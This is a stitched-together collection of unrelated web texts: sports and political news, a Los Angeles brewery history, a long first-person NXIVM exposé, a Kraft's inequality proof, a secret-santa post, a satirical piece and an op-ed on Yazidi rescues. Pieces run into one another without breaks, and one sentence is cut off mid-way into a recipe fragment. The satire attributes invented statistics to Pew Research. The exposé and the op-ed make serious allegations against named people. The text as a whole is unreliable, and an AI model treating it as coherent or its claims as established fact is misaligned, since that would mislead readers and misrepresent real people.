The former Beijing Olympian has cleaned up domestically at 160lbs and in addition to the prized European belt, Saunders has won the British title outright; made six defences of the Commonwealth title; captured the WBO International title; beaten back-to-back four undefeated fighters: Eubank Jnr., Blandamura, John Ryder and Gary O’Sullivan, and maintained a perfect 21-0 record.
The 25-year-old starlet now headlines the Wembley Arena on Saturday 9th May alongside Eubank Jnr as they build toward a huge grudge match similar to the epic division rivalries between greats Nigel Benn, Chris Eubank and Michael Watson.
Saunders said, “It’s fantastic to be recognised by the EBU for not only one, but two awards,”
“Of course, to be named Boxer of the Year is a tremendous honour, seeing as there are a lot of great European fighters out there, but my achievements in the ring haven’t been matched by anyone else in the last few years, so I’m delighted that they have rewarded me with this,”
“I was confident and believed that I could defeat Eubank Jnr., which proved to be true. It was a great fight to have at that stage of my career to establish my dominance in Britain and Europe as the number one in the division, without doubt. Whilst Eubank Jnr. wasn’t the hardest opponent of my career, the fight was the highest profile I’ve had, and since beating him it’s put my on another level. The fans and media liked it and I’m glad that this has been recognised by the EBU as Contest of the Year.”
Tickets, priced at £40, £50, £75, £100 and £200 are available from Eventim on 0844 249 1000 or www.eventim.co.uk and SSE Arena, Wembley, on 0844 815 0815 or www.ssearena.co.uk (Disabled Line 0208 782 5629).
BoxNation will televise live and exclusive on Sky 437/HD 490, Virgin 546 and Talk Talk 525. Subscribe at www.boxnation.com Or watch online at Livesport.tv and via iPhone, iPad or Android.Who should be in the backup striker for El Tri, with Manchester United striker Javier 'Chicharito' Hernandez the undisputed No. 1 in that position?
The remaining weeks of the Liga MX should provide a fascinating battle between Mexican strikers jockeying for position ahead of the summer’s vital national team qualifiers, the Gold Cup and the Confederations Cup.The good news for Mexico fans is that there are a plethora of players banging goals in at present and plenty of competition for the spots, with Aldo de Nigris, Oribe Peralta and Raul Jimenez the main contenders and all in rich veins of form.A look at the Liga MX scoring chart shows Jimenez and Peralta on seven goals each, with De Nigris on six goals. (Emanuel Villa, who is from Argentina, tops the charts with eight goals.)It was De Nigris who missed out on the call-up to the last Mexico squad, not even getting the shout after Peralta had been ruled out due to injury.But that only seems to have fired-up the 29-year-old Monterrey man. Though Mexico drew a blank against the United States late last month, De Nigris was the match-winner in the CONCACAF Champions League semifinal first leg on Wednesday against the LA Galaxy and he has found form recently after a lean spell in the Apertura championship.De Nigris’ record over recent seasons is also more than respectable, with 46 goals in 117 appearances since the Apertura 2009 tournament. In international soccer he’s averaged a goal every 124 minutes.De Nigris’ strength and physical presence provides a different kind of threat for El Tri, adding options if the Monterrey-born player is on the bench.Then there is Santos Laguna’s Peralta. It has become almost fashionable to pour scorn on the Peralta and Hernandez partnership for El Tri. On one hand, the duo haven’t shown much chemistry together, but it is not difficult to see the potential that must keep Mexico coach Jose Manuel 'Chepo' de la Torre awake at night thinking of how to unleash it.In Liga MX, Peralta has been on one long scoring streak that has seen him notch 38 goals in his last 60 matches. Wedged in-between the league goals were four goals at the Olympics, which were a huge part of Mexico winning its first ever medal and made Peralta a national hero.In short, Peralta is the one who can make something happen, score goals from outside the box and do things that are a little bit special.The wildcard in the pack is America’s Jimenez. The tall 21-year-old striker is on a high after scoring the winning brace in the Clasico last Sunday against Chivas and debuting for El Tri against the United States.There was purportedly interest from Premier League outfit Stoke City over the winter transfer window and he’s already made giant strides in his career over the last 12 months. He seems the natural heir to De Nigris, but Chepo’s decision to include Jimenez ahead of the Monterrey striker in the last squad could mean his time has come sooner than expected.The other player that deserves a mention is Omar Bravo. The Atlas forward, like De Nigirs, has six goals this season and was used off the bench in both the last two Mexico games. His advantage is experience and versatility, although it is difficult to see where Bravo fits in with the other three firing on all cylinders.How busy each of the strikers are this summer will probably depend on their performances the rest of the Liga MX season. The competition will be more than worth tuning in for.And if Carlos Vela decides he would like to wear La Verde once again, the situation become ever more complicated.Turkish President Recep Tayyip Erdogan slammed US President Donald Trump on Thursday, hours before the UN General Assembly is expected to reject US recognition of Jerusalem as Israel's capital.
"Mr Trump, you cannot buy Turkey's democratic will with your dollars," Erdogan said after Trump threatened to cut aid to countries that support a draft UN resolution calling for the US to withdraw its decision to recognise Jerusalem as Israel's capital.
"I hope and expect the United States won't get the result it expects from there (the United Nations) and the world will give a very good lesson to the United States," Erdogan said in a speech in Ankara.
UN member states have begun debating a motion rejecting US recognition of Jerusalem as Israel's capital at an emergency session about the draft resolution that the US vetoed at the Security Council on Monday after all other 14 council members voted in favour of the measure.
On the eve of the vote, Trump suggested there could be reprisals for countries that support the motion, put forward by Yemen and Turkey on behalf of Arab and Muslim countries.
Well, we're watching those votes. Let them vote against us. We'll save a lot. We don't care - Donald Trump
"They take hundreds of millions of dollars and even billions of dollars and then they vote against us," Trump said at the White House.
"Well, we're watching those votes. Let them vote against us. We'll save a lot. We don't care."
The draft resolution mirrors the vetoed measure, reaffirming that any decision on the status of Jerusalem has no legal effect and must be rescinded.
It does not mention Trump's decision but expresses "deep regret at recent decisions concerning the status of Jerusalem".
Diplomats expect strong support for the resolution, which is non-binding, despite the US pressure to either abstain, vote against it or simply not turn up for the vote.
On Tuesday, US Ambassador Nikki Haley sent an email to fellow UN envoys to put them on notice that "the president will be watching this vote carefully and has requested I report back on those countries who voted against us."
Shut the door: How world should respond to Trump's Jerusalem policy Richard Silverstein Read More »
"We will take note of each and every vote on this issue," she wrote in the message seen by AFP.
On Twitter, Haley posted that "the US will be taking names" when the ambassadors of the 193-nation assembly cast their vote on Thursday.
"Nikki, that was the right message," Trump said.
A council diplomat said Canada, Hungary and the Czech Republic might bow to US pressure, but the motion is all but certain to be approved.
No country has veto powers in the General Assembly, contrary to the council where the United States, along with Britain, China, France and Russia, can block any resolution.
'Threats' from Washington
Trump's 6 December decision to recognise Jerusalem broke with international consensus, triggering protests across the Muslim world and drawing strong condemnation.
Key US allies Britain, France, Italy, Japan and Ukraine were among the 14 countries in the 15-member council that voted in favour of the measure and were expected to do the same on Thursday at the assembly.
Palestinian Foreign Minister Riyad al-Malki accused Washington of "threatening" member-states, saying it was "another mistake" following the US veto at the Security Council.
Malki said the UN session would show "how many countries will opt to vote with their conscience".
While resolutions by the General Assembly are non-binding, a strong vote in support of the resolution would carry political weight.
U.S. ambassador to the United Nations Nikki Haley listens during a Security Council meeting concerning the situation in the Middle East involving Israel and Palestine, at United Nations headquarters on 18 December (AFP)
Turkey and Yemen, representing the Arab group of countries and the Organisation of Islamic Cooperation (OIC), presented the measure reaffirming that Jerusalem is an "issue that must be resolved through negotiations."
Turkish President Recep Tayyip Erdogan has sought to lead Islamic condemnation of Trump's Jerusalem plan, calling a summit of the leaders of Muslim nations last week in Istanbul, who urged the world to recognise East Jerusalem as the Palestinian capital.
East Jerusalem was annexed by Israel after the 1967 war, in a move never recognised by the international community. Israel sees all of Jerusalem as its undivided capital.
Turkish Foreign Minister Mevlut Cavusoglu said his country expected "strong support" for the Palestinians, adding: "Everyone with a conscience... is against this decision that usurped Palestine's rights."
Several UN resolutions call on Israel to withdraw from territory seized during the 1967 war and the draft resolution contains the same language as past motions adopted by the assembly.Angel City Brewery's massive building in Downtown Los Angeles' Arts District looks very much of the moment. Colorful graffiti and murals cover its surface, employees grill tacos in the parking lot, alt-rock music fills the cavernous pub space.
But the three-story, 104-year-old brick warehouse contains a few surprises, ones that reveal its history and that of the city that has evolved around it.
"We're in the Arts District, and there are a lot of buildings that are really old, especially by LA standards," Keith McEly, Angel City's marketing and events specialist, told Curbed. "It's been around for a long time, and there are many things here that are very historic and very old... it's really important to preserve that history."
Angel City took over the building in 2010. It does not have landmark designation, nor does it fall under preservation protections, at least not yet. But the building's stewards recognize its importance and have so far preserved its more important features.
↑ The building began its life in 1913 as the West Coast warehouse and offices of John A. Roebling’s Sons Co., a New Jersey manufacturer of steel cables, "wire rope," and other products.
It is notable for having made the cables holding up the Brooklyn Bridge in New York and the Golden Gate Bridge in San Francisco.
The company is notable for having made the cables holding up the Brooklyn Bridge in New York, the Golden Gate Bridge in San Francisco, and the Vincent Thomas Bridge, which spans Los Angeles Harbor, as well as the power lines that electrified Los Angeles and the metal used to make Slinky toys, a favorite of baby boomers.
The 69,000-square-foot building at 216 Alameda Street went up at a princely cost of $120,000 (nearly $3 million in 2017 dollars) when the company outgrew its smaller site, according to the Los Angeles Conservancy.
The architects were Hudson and Munsell, who also designed the Natural History Museum in South LA’s Exposition Park.
↑ The building's original lobby, which can only be viewed with permission of Angel City managers, is lined with handmade custom tiles created by Ernest Batchelder, the legendary Pasadena tilemaker.
"The longer I look at Los Angeles, the more I realize you can't tell the story of Los Angeles without telling the story of tile. And the engine which is California, this creative engine, which has been churning since about 1920... was originally fueled by Batchelder tile catalogs,” said Esotouric founder and LA architectural historian Richard Schave.
The tiles at Angel City depict John A. Roebling’s Sons Co. proudest achievements.
"From our understanding, the employees of the company, back when the building opened in 1913, ended up employing Ernest Batchelder to custom-make these lobby tiles as a gift to the owners of the company," McEly said. "And the tiles chronicle the different achievements of the company and a little bit of the history of the company."
Schave said the tiles might be the earliest commercial installation of Batchelder tile in Los Angeles, beating the magnificent Dutch Chocolate Shop by one year.
↑ A key feature in the taproom is the original iron spiral slide leading from the second story.
One can only imagine the massive wooden spools of iron cable rolling down the slide to be loaded onto train cars or horse-drawn wagons at the loading docks that remain facing the parking lot.
"The huge spiral slide in the middle of the brewery's Public House was used to send supplies and materials from the upper floors down to the rollup doors, which used to line up with railroad tracks," according to Discover Los Angeles.
One can only imagine the massive wooden spools of iron cable rolling down the slide to be loaded onto train cars or horse-drawn wagons at the loading docks that remain facing the parking lot.
At the foot of the slide, Angel City has posted a sign advising patrons, especially those who have enjoyed too much of its signature product: "The existence of this slide is not a challenge."
↑ A few vestiges of the Roebling company adorn the brick facade of the building and can be seen amid the riot of colorful murals. Crane your neck, and you can view terra cotta tiles along the roofline with the initials "J.A.R."
The company's name can be seen as a ghost sign on the parking lot side of the building, above loading docks that used to accommodate wagons and trucks.
Just above that sign is a more recent addition: "The Wrinkles of the City," a mural by artist JR, which depicts a pair of eyes staring right at you, according to Discover Los Angeles:
"The Wrinkles of the City is a global project by the famed artist JR, who depicts 'wrinkles' — human as well as architectural — in various cities around the world. Following Cartagena (2008) and Shanghai (2010), JR brought his project to Los Angeles in 2011."For years now, Republicans in Congress have been unified around a plan to promise continued Medicare benefits to everyone over the age of 55 while phasing out the program for everyone else. This is the famous — or perhaps infamous — Paul Ryan plan for Medicare. But denying that this is what their plan amounts to has been an important part of the political strategy for getting it done. Except Jeb Bush messed up, and in a talk at an Americans for Prosperity event Wednesday night he said that America needs to "phase out" Medicare.
His argument is that once Medicare is phased out, the GOP can offer the 54-and-under set "something," because the alternative will be to get "nothing."
Recall that back in 2011, the GOP whined endlessly about allegations that they wanted to end Medicare, and PolitiFact dubbed the idea that the GOP wants to end Medicare their "lie of the year."
But as Jeb Bush reveals here, it was never a lie of any sort. Conservatives' preferred answer to the challenge of paying for Medicare in the future is to scrap the program, and that idea has gained wider and wider currency in GOP circles in recent years.MISSISSAUGA — One minute their dark silver 2010 Acura RDX was sitting in their driveway looking relatively clean, the next it was covered with a huge splatter of brownish, smelly matter.
“It’s definitely poop’’ that fell from the sky yesterday, says George Sullivan, an engineer who has worked with planes and believes the substance probably came from one. It’s the third such incident in the GTA in a week.
Sullivan and his wife, Liz Murray, had parked their car minutes earlier and Sullivan was about to get into the family’s swimming pool with his 3½ -year-old granddaughter when he realized he had to turn on the water heater. That meant walking by the driveway and that’s when he saw the splatter all over the car. His daughter’s parked car was also hit.
Sullivan is convinced nothing feathered is responsible.
“There’s no way birds could poo that fast, in that short an area, with that sort of splatter. I can guarantee this is not from a bird or 5,000 birds.’’
Sullivan, 51, has contacted Transport Canada and emailed them photos of the splatter. He says he was advised by the federal agency to scrape off a sample for investigators before he washes his car.
Sullivan considers this a “serious matter’’ because if this is human waste that fell from a plane, it probably started in a frozen state.
“It might not melt in time — it could have hit my granddaughter,’’ he said.
Sullivan said he’s heard about the incident involving the Giannakos-Gilfillan family in Mississauga who say smelly brown matter that appeared to be human waste fell into their backyard on June 19. Transport Canada is also investigating that case.
“Obviously there’s an airplane that has a problem,’’ said Sullivan, adding he’s worked on planes as an engineer. “This needs to get fixed.’’From the Vanity Fair Magazine, November 2010, Sara Bronfman (left), Clare Bronfman (right) Keith Raniere, is he an enlightened spiritual being, or a criminal cult leader? NXIVM headquarters at 455 New Karner Rd. Bill Savino and Clare Bronfman
This is another installment of a series where I am the journalist covering my own federal indictment on- 19 criminal counts. Last week I wrote about cult leader Keith Raniere and the two women who fund and empower him – Seagram heiresses, Clare and Sara Bronfman.
The trio had a role behind the federal investigation that led to my indictment. It may have been a corrupt role.
Clare, 36, and Sara Bronfman, 39, are sisters. Their father, the late Jewish Canadian billionaire Edgar Bronfman, Sr. was chief executive of Seagrams and president of the World Jewish Congress.
Raniere was listed in the Guinness Book of Records (1989 edition) as having one of the highest IQ’s in the world, reportedly gauged between 188-194.
In the 1990’s, Raniere’s business was shut down after NYS Attorney General, Robert Abrams, accused him of running a Ponzi type scheme.
Raniere then grew his beard and hair long, shed his business suits for tee shirts, sweat pants and sandals, and announced he was an enlightened being having reached “Unification”.
He created a “life improvement” coaching company called NXIVM (pronounced like the patented drug NEXIUM) which gives seminars - utilizing hypnosis and other programing techniques.
Students bow to Raniere, who gave himself the title “Vanguard” and who, as they advance, are awarded sashes in different colors to signify their rank in the organization.
Raniere has attracted scores of serious followers, most of them female.
In an investigative series in the Albany Times Union, James Odato interviewed several women and family members who claim Raniere raped them as underage girls, seduced them as married women, or raped them as adult women.
One of the women, Gina Hutchinson, who was 15, her sister claims, when Raniere first raped her, committed suicide.
Kristin Marie Snyder, a 35-year-old environmental consultant in Alaska, who spent $16,000 on NXIVM programs from November 2002 to February 2003, according to Alaska State Police, committed suicide on Feb. 6, 2003. She left a suicide note which read, “I attended a course called Executive Success Programs (a.k.a. Nexivm) (sic)… I was brainwashed and my emotional center of the brain was killed/turned off. I still have feeling in my external skin, but my internal organs are rotting. Please contact my parents … if you find me or this note. I am sorry life, I didn’t know I was already dead.”
Another woman, Barbara Bouchey claimed Raniere squandered her life savings - some $1.6 million - in bad commodities investments.
Raniere told Bouchey he devised a formula to beat the commodities market, she said in court filings in 2009.
He lost every dollar she gave him to invest, she said.
Around 2002, Raniere met Sara Bronfman, 25, when she attended one of the seminars. Within weeks, Sara dedicated herself to Raniere’s causes and afterwards bought more than a dozen properties for NXIVM and its members in the Albany area.
Sara also introduced her sister, Clare, who was interested in horse jumping contests. Raniere counseled Clare that it was an “ethical breach” to abuse horses by inflicting the pain of a riding crop and that she had more important things to do with her wealth and power as a Bronfman.
Clare sold or retired her horses, put her $7 million New Hope, Pennsylvania estate—with its state-of-the-art equestrian facilities—on the market, and began financing Raniere’s projects.
Both sisters moved to Albany to be near Raniere.
In 2003, Raniere appeared on the cover of Forbes Magazine. Called “Cult of Personality”, the story detailed Sara’s and Clare’s involvement in NXIVM.
In the article, while admiring the yellow sash around her chest, Sara tells Forbes, “coming from a family where I’ve never had to earn anything before in my life, [it] was a very, very moving experience for me to be awarded this yellow sash. It was the first thing that I had earned on just my merits.”
Forbes quoted their billionaire father who called NXIVM, “a cult”.
The article also reported that Raniere claimed he had no bank accounts in his name despite the fact that NXIVM appeared to be earning millions and that the seminars appeared to use “classic brainwashing techniques.”
After the story was published, Raniere told the Bronfman sisters their father had bought off Forbes and blamed Clare for turning her father against him by revealing to him that she had “loaned” millions of dollars to NXIVM.
In a show of loyalty to Raniere, Clare implanted a virus on her father’s computer, so NXIVM could secretly monitor his emails, according to Kristen M. Keeffe, who was part of the inner circle that ran NXIVM.
The Bronfmans sisters also increased their financial support of Raniere.
From January 2005 to late 2007, Raniere lost $65.6 million of Bronfman money, allegedly trading in the commodities market through First Principles, a company registered in NXIVM president Nancy Salzman’s name, and using a commodities broker by the name of Yuri Plyam.
According to former NXIVM consultant, Joseph J. O’Hara, there was tax fraud involved, claiming that Raniere changed the account name retroactively to falsely take losses for a corporation he controlled.
Clare Bronfman told this writer her father “had figured out a plot with the commodities clearing firm” to counter Raniere’s positions in orange juice futures which caused the stupendous losses.
According to statements provided to this writer by Clare Bronfman, she and Sara apparently illegally listed this $65.6 million gift to Raniere as a loan despite the fact that Raniere claims to have zero income and no assets.
While losing tens of millions in alleged commodities trading, Raniere also began a series of lawsuits against his enemies.
A NXIVM official estimated the sisters have paid $20 million in legal fees over the last 12 years.
Raniere also used Bronfman money to invest in political consultants, lawyers, and private investigators to obtain indictments of his enemies, hiring those who had prior or current working relationships with judges or prosecutors.
Raniere offered this writer incentives to obtain information that would lead to indictments against O’Hara and cult tracker Rick Ross.
Raniere sued Ross in federal court, alleging copyright infringement for publishing excerpts of NXIVM’s “secret” manual on his website.
Raniere sued former member Stephanie Franco, who gave Ross the secret manual and forensic psychiatrist, Dr. John Hochman, who wrote that NXIVM’s classes were “expensive brainwashing.”
Raniere, who arranged for the Bronfmans to lend O’Hara $2 million on land purchases, prompted the Bronfmans to sue him after he quit working for NXIVM because of what he deemed illegal activities including tax evasion.
They also hired former Massachusetts Attorney General Scott Harshbarger who met with Saratoga County District Attorney James Murphy and Albany County District Attorney David Soares to obtain a criminal indictment against O’Hara.
Soares permitted one of Raniere’s followers to work at the DA’s office to help develop a case against O’Hara and got a grand jury to indict O’Hara in 2007 for alleged grand larceny.
The charge was dismissed by a state judge for insufficient proof.
In 2006, Raniere persuaded the Bronfmans to invest $26.4 million in a Los Angeles real estate project with, ironically, the same man who was the broker for the $65.6 million in commodities losses – Yuri Plyam.
The plan was to build mansions in Los Angeles County and was structured as a joint venture with Plyam and set up through a company called Precision Development. Raniere’s name would appear on none of the documents.
Neither would the Bronfman’s at first.
In December 2007, as the Bronfmans consultant, I was informed that the Bronfmans were out of money – their original trust depleted and was asked to help them find a $5 million loan to keep the Los Angeles project going.
I went to California to investigate and concluded that Plyam had absconded with $10 million of the $26.4 million the Bronfmans had wired to him.
I confronted Plyam and was able to secure the Bronfmans majority control in 26 properties, evicted Plyam from possessory control, and became 1/3 partner in the project.
I also commenced a lawsuit on behalf of the Bronfmans which they won, securing a judgment against Plyam for $10.3 million.
However, this discovery of fraud in the real estate project, coming as it did on the heels of the commodities losses, led to consternation in Raniere’s circle.
I questioned Clare Bronfman as to whether there were any receipts for the $65.6 million she gifted to Raniere that proved it actually went into commodity trades.
She answered she had no receipts but trusted Raniere.
Within days, Raniere cut off communications with me. An attorney for the Bronfmans informed me that our partnership was terminated.
Meantime, Raniere persuaded the sisters to ask their father for a loan of $60 million from a trust they would inherit upon his death.
They borrowed it and, according to Bouchey, the trustees “were very anxious to have that money go back into the trust.”
But not everything was rosy for Raniere.
A year after my exposing massive losses in the real estate deal and questioning the authenticity of the commodities trades, nine women, including longtime Raniere lover and finance director, Bouchey left NXIVM.
NXIVM and Bronfmans brought 7 lawsuits against Bouchey, and reported her to the Financial Industry Regulatory Authority for criminal investigation.
Clare Bronfman asked the district attorney of Saratoga County to bring charges of extortion against Bouchey because she asked Raniere to pay back the original $1.6 million he lost in the commodities market.
“They’ll go to the ends of the earth to destroy you,” said Susan Dones, who, along with Kim Woolhouse, also left Raniere.
These women were sued by NXIVM on claims they violated confidentiality agreements.
The judge, Brian D. Lynch, wrote that “NXIVM’s pursuit of Woolhouse ….sheds light on its true motivations. Her ‘sin’ was to attempt to walk away after discovering that NXIVM was not what she thought or hoped. In return, she was labeled as ‘suppressive,’ a term that NXIVM applies to former associates who leave the company or whom NXIVM perceives to be its enemies, and subjected to protracted litigation from two large law firms and a phalanx of attorneys.”
In 2011, after winning the lawsuit I started for them against Plyam, the Bronfmans also sued me.
Within months of filing the lawsuit, the Bronfmans filed a complaint against me with the FBI.
Another enemy who was pursued was Albany Times Union reporter James Odato, who began reporting on NXIVM after he discovered in 2007 that Joseph Bruno, then majority leader of the New York State Senate, received $30,000 in cash and another $34,000 of in-kind donations from the Bronfman sisters.
In more than thirty-five articles about NXIVM, Odato traced how the Bronfman sisters funneled cash to Raniere.
Odato’s series also documented NXIVM’s history as a “‘litigation machine’ that pursues largely meritless lawsuits to punish and silence those who speak ill of the group’s leader -— litigating with a level of intensity that judges have described as entirely ‘disproportionate’ and ‘deplorable.’”
In March 2013, NXIVM filed a civil complaint against Odato and Suzanna Andrews, who had written a critical article in Vanity Fair, John Tighe, a blogger who was critical of NXIVM, Toni Natalie, one of Raniere’s former lovers, and O’Hara, alleging they used the password and username of a former NXIVM “client” to access and copy confidential, proprietary information about NXIVM.
Odato lost his job at the Times Union.
The lawsuit was dismissed after the judge discovered that Clare Bronfman lied about the date she discovered the computer trespass, having moved the date up to fall within the two-year statute of limitations.
NXIVM also filed criminal “computer trespassing complaints” with the New York State Police against Bouchey, Natalie, O’Hara and Tighe. When the local DA declined to prosecute, a state judge appointed a special prosecutor, Holly Trexler, a former Albany County assistant district attorney, to “consider” NXIVM’s allegations.
In October 2013, Tighe, O’Hara, Bouchey, and Natalie were indicted.
Shortly after, Raniere’s top lieutenant, Kristin Keeffe abruptly left the organization.
Her whereabouts are unknown.
Keeffe has since claimed that Clare Bronfman paid a Canadian investigative firm, Canaprobe Group, close to $1 million to uncover financial records of U.S. Sen. Chuck Schumer, D-N.Y., her father, Edgar Bronfman, George R. Hearst III, publisher of the Times Union; Rex Smith, the newspaper’s editor and Odato; and six judges who presided over cases involving NXIVM or its critics: U.S. District Chief Judge Gary L. Sharpe; U.S. Magistrate Randolph F. Treece; U.S. Bankruptcy Judge Robert E. Littlefield Jr., and U.S. Senior Judge Thomas J. McAvoy, U.S. District Judge Dennis M. Cavanaugh and U.S. Magistrate Mark Falk.
Keeffe also accused Raniere of conspiring with Emiliano Salinas, founder and co-owner of the Mexico City NXIVM center and son of former Mexican President Carlos Salinas, of plotting to lure four women, Bouchey, Natalie, Dones, and Kim Woolhouse, all former girlfriends or associates of Raniere’s, to Mexico in order to have them arrested on false charges and thrown in prison.
Natalie provided the Times Union with copies of emails from a Mexican journalist who sent them to Natalie trying to convince her to come on an all-expense paid trip to Mexico for an interview regarding NXIVM. The journalist declined to comment when contacted by the Times Union.
In emails attributed to Keeffe, as published in the Times Union, she wrote, “All the worst things you know about NXIVM are true but there is so much more horrendous things going on even you will be horrified.”
Keeffe claims Clare Bronfman, Raniere and others “are involved in continuing ongoing criminal conduct including but not limited to psychological and sexual abuse and imprisonment of multiple illegal aliens for the last decade.”
Several NXIVM members know about the imprisonment of Daniella Fernandez, an illegal alien who was allegedly imprisoned for two and a half years in an apartment owned by NXIVM Properties Inc. at 12 Wilton Court, a townhouse in Knox Woods in Clifton Park three blocks from Raniere’s townhouse.
Daniella was placed in isolation with only a pen and paper in order to work on her “issues”, her confinement supervised by Lauren Salzman, Nancy Salzman’s daughter, who, sources say, was romantically involved with Raniere.
Fernandez’s ordeal ended when she escaped by climbing out the second floor window and returned to Mexico.
While Daniella was in confinement, her sister, Marianna, also an illegal Mexican alien, was (and is) a live in lover of Raniere’s along with his longtime lover, Pamela Cafritz, daughter of wealthy DC socialites Buffy and William Cafritz.
Today, Sara Bronfman continues to fund NXIVM but has married and is less involved on a daily basis.
Conversely, Clare is now second in command. She finances NXIVM’s litigation and “indictment of enemies” initiatives, heads administration, accounting and IT.
Federal investigators might be well advised to take a look at the Bronfman – Raniere enterprises.
They may find tax evasion, false imprisonment, perjury to FBI agents, foreign corrupt practices, fraud, conspiracy to forge documents, money laundering, wire fraud, immigration violations and misuse of tax-exempt funds.
Meantime, this writer will demonstrate these crimes and a host of others in shocking, gripping detail as I publish documents and interviews of eye witnesses – including past and present NXIVM members.
Stay Tuned.
Related Stories:
FBI Should Investigate Bronfmans and Cult Leader Keith Raniere.
Bronfman, Raniere Need Investigating ThemselvesDennis Woodside, Motorola’s new CEO, just confirmed in an interview at D11 that they are indeed making a phone called Moto X. He said that the phone will be the first smartphone built in the U.S. “We’re building it in Texas,” Woodside mentioned during his sitdown. They are going to employee about 2,000 people outside of Forth Worth at a 500,000 square foot facility to make the magic happen.
This is their “hero device,” and it’s going to be “broadly distributed.” Between now and October, Motorola is going to launch a handful of devices though, but way down from the massive portfolio of years past.
Woodside even claimed to have one of the phones with him on stage, though he said he wasn’t able to show it. But should he have decided to pull it out, he mentioned that with new sensors, that the phone anticipates your needs. For example, it would recognize that he took it out from his pants and potentially wake itself or activate a service.
When asked if he was confident in whether or not Motorola could actually move the needle with new products, Woodside said that the “products we are going to ship throughout the fall. They are unlike other things out there.”
While this is mostly an assumption on my part |
, and more healthy to make your own!
You can get the full recipe here.
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Move over Mr Kipling! Keep your fats and your sugars, i’ll settle for this high protein cherry bakewell protein instead!
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\begin{equation} n_1 \leq n_2 \leq \dots \leq n_r \end{equation}
Now we try to construct a prefix code in increasing order, i.e., $i = 1, 2, \dots r$. There exists a prefix code if and only if at each step $j$, there is at least one codeword to choose that does not contain any of the previous $j - 1$ codewords as a prefix. In other words, the codeword $\sigma_j$ must not contain any of the previous codewords $(\sigma_1, \sigma_2, \dots \sigma_{j-1})$ as a prefix. For $\sigma_j$, there are $s^{n_j}$ combination of codewords we could choose from if there was no prefix constraints. But due to the codeword at a prior step $k < j$, $s^{n_j - n_k}$ codewords are now forbidden because they contain $\sigma_k$ as a prefix. Furthermore, the sets of forbidden codewords due to different prior steps are exclusive. Since if any two prior steps forbid the same codeword at step $j$, that would imply the smaller of the codewords in the two prior steps is a prefix of the other one, which contradicts the prefix assumption.
Therefore we know the total number of forbidden codewords at step $j$ is
\begin{equation} \sum_{i=1}^{j-1} s^{n_j - n_i} \end{equation}
There exists a prefix code if and only if we have a codeword to choose at every step, namely,
\begin{equation} s^{n_j} > \sum_{i=1}^{j-1} s^{n_j - n_i}, \forall j = 2, 3, \dots r \end{equation}
Since every term above is an integer, this is equivalent to
\begin{equation} s^{n_j} \geq \sum_{i=1}^{j-1} s^{n_j - n_i} + 1 = \sum_{i=1}^{j} s^{n_j - n_i}, \forall j = 1, 2, \dots r \end{equation}
Now divide by $s^{n_j}$ on both sides we get
\begin{equation} 1 \geq \sum_{i=1}^{j} s^{- n_i}, \forall j = 1, 2, \dots r \end{equation}
Now since every term above is non-negative, this is equivalent to Kraft's inequality
\begin{equation} \sum_{i=1}^{r} s^{- n_i} \leq 1 \end{equation}
Notice that every argument in the proof goes both ways. Thus this proves that Kraft's inequality is both a necessary and sufficient condition for the existance of a prefix code.My secret santa nailed it! I received three separate packages, each one better than the last (although they all were so awesome)
The first package was my cheese coozie! Perfect to keep my beer cold during an intense packer game. This package also came with a "Weird Tennessee" book. Very fitting, as I live in Tennessee and all these folks crazy. My son already found a way to completely destroy the book jacket cover. So the picture of the book is missing that part.
My next package was....wait for it....a cheesehead. a must have for any packer fan! and, embarrassingly, i didn't own. i plan on putting it to good use at the game on the 23rd.
And last, but certainly not least, the third package arrived today. 12-12-12. Or as i know it, Aaron Rodgers Day. (seriously. it's official. in wisconsin, at least) my third package is a beautiful array of "brooklyn brand" beer!! does my ss know me or what??! i dove right into that stuff as soon as it arrived. my favorite, thus far, the winter ale.
this was the perfect gift(s) for me, your run-of-the-mill diehard packer fan. thank you soooo very much, mamawasahamster! you are amazing!New Pew Research Center data finds a majority of Trump supporters would enjoy witnessing the complete destruction of everything.
According to the data, 70 percent of participants who identified as Trump supporters also selected being “strongly favorable” to “witnessing the apocalypse.”
“It is unclear if Trump’s supporters favorable view of the end times is the cause of their support of the candidate,” said Nathan Fabricant, Pew’s lead made-up statistics analyst.
The data comes days after news broke that nearly 20 percent of Trump supporters believe that Lincoln should not have freed slaves with the Emancipation Proclamation. Really.
The Trump campaign said the survey data is questionable, as Trump supporters are notoriously big X-Men fans and might have thought the question was in reference to the upcoming film X-Men: Apocalypse.
Follow Stubhill News for all the latest election coverage.Western “political correctness” about Islam has not only led to terrorist attacks in European, Israeli, and American cities—but it has now also led to the cruel abandonment of the Yazidi and Christian sex slaves still being tortured by ISIS.
In 2014, Sister Hatune Dogan had been rescuing Christian and Yazidi girls from ISIS captivity for eight months, but she was desperate. If only the world could see the harm being done, understand that rescues were possible, people would open their hearts and their wallets.
Sister Hatune and her international director, Hans Erling Jensen, found an independent British filmmaker, Edward Watts. In an email dated February 6, 2015, Watts’s producer, Rosie Garthwaite, wrote: "Hatune you will be the lead story in a documentary about women living under IS.”
Watts spent nine days in Germany, Turkey, and Iraq with Sister Hatune. She introduced him to Sheikh Khaire, the head of the powerful local relief organization Ezdan Humanity, and to his co-workers, Sheikh Hassan and Khalil. The girls and their families would never have agreed to talk to him, or to be filmed, without Sister Hatune's having persuaded them that doing so would allow her to rescue more girls. She also served as Watt's interpreter.
However, Watts removed the nun from his prize-winning film, Escape from ISIS. He did not tell viewers to send funds to the Hatune Foundation to help with further rescues.
Watts decided that the rescues could take a back seat while he set up his own online charity to build a psychiatric center in the UK, to do the work that the Hatune Foundation had already been doing for years.
Now, with the French and American retaliatory bombing raids of ISIS, Watts may also have inadvertently condemned the captive girls to death.
At one of his many sites, Watts claims to have raised 37,000 pounds.
Until his own charity is up and running, Watts directs people to the Amar Foundation. He also names one of Sister Hatune's go-betweens, Khaleel, and directs that funds be sent to him via the Amar Foundation, via Western Union (!), or to a Jerusalem-based foundation, The Springs of Hope, which, he alleges, sends couriers into ISIS territory with money.
On November 13th of this year, Watts wrote to me: “Anyone looking for information on how to help the rescues and contribute to the rehabilitation of the freed women can find information on my blog: www.edwardwattsfilms.com/blog and look for the two entries marked 'Donations'.”
Is Watts simply out to personally capitalize on human tragedy? That’s been known to happen. Has he cut a deal with one of Hatune’s "fixers" or go-betweeens? That's also been known to happen in this part of the world.
Or, is this a matter of political differences trumping a matter of life and death and riding roughshod over the truth?
That seems to be the case.
